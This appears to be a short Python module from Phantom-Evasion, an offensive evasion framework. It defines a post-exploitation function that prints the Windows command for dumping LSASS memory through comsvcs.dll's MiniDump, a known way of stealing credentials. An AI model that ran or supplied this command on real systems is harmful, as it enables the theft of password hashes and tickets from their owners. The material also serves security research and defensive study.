
     ########################################################################################
     #                                                                                      #
     #    This file is part of Phantom-Evasion.                                             #
     #                                                                                      #
     #    Phantom-Evasion is free software: you can redistribute it and/or modify           #
     #    it under the terms of the GNU General Public License as published by              #
     #    the Free Software Foundation, either version 3 of the License, or                 #
     #    (at your option) any later version.                                               #
     #                                                                                      #
     #    Phantom-Evasion is distributed in the hope that it will be useful,                #
     #    but WITHOUT ANY WARRANTY; without even the implied warranty of                    #
     #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                     #
     #    GNU General Public License for more details.                                      #
     #                                                                                      #  
     #    You should have received a copy of the GNU General Public License                 #
     #   along with Phantom-Evasion.  If not, see <http://www.gnu.org/licenses/>.           #
     #                                                                                      #
     ########################################################################################
import sys
sys.path.append("Modules/payloads/auxiliar")
from usefull import Enter2Continue
from usefull import bcolors

def Postex_CMD_DumpLsass_windows(ModOpt):

    print(bcolors.OCRA + bcolors.BOLD + "\n[>] Dump Lsass cmdline: " + bcolors.ENDC + bcolors.ENDC + "rundll32 C:\\windows\\System32\\comsvcs.dll, MiniDump " + ModOpt["TargetPid"] + " lsass.dmp full\n")
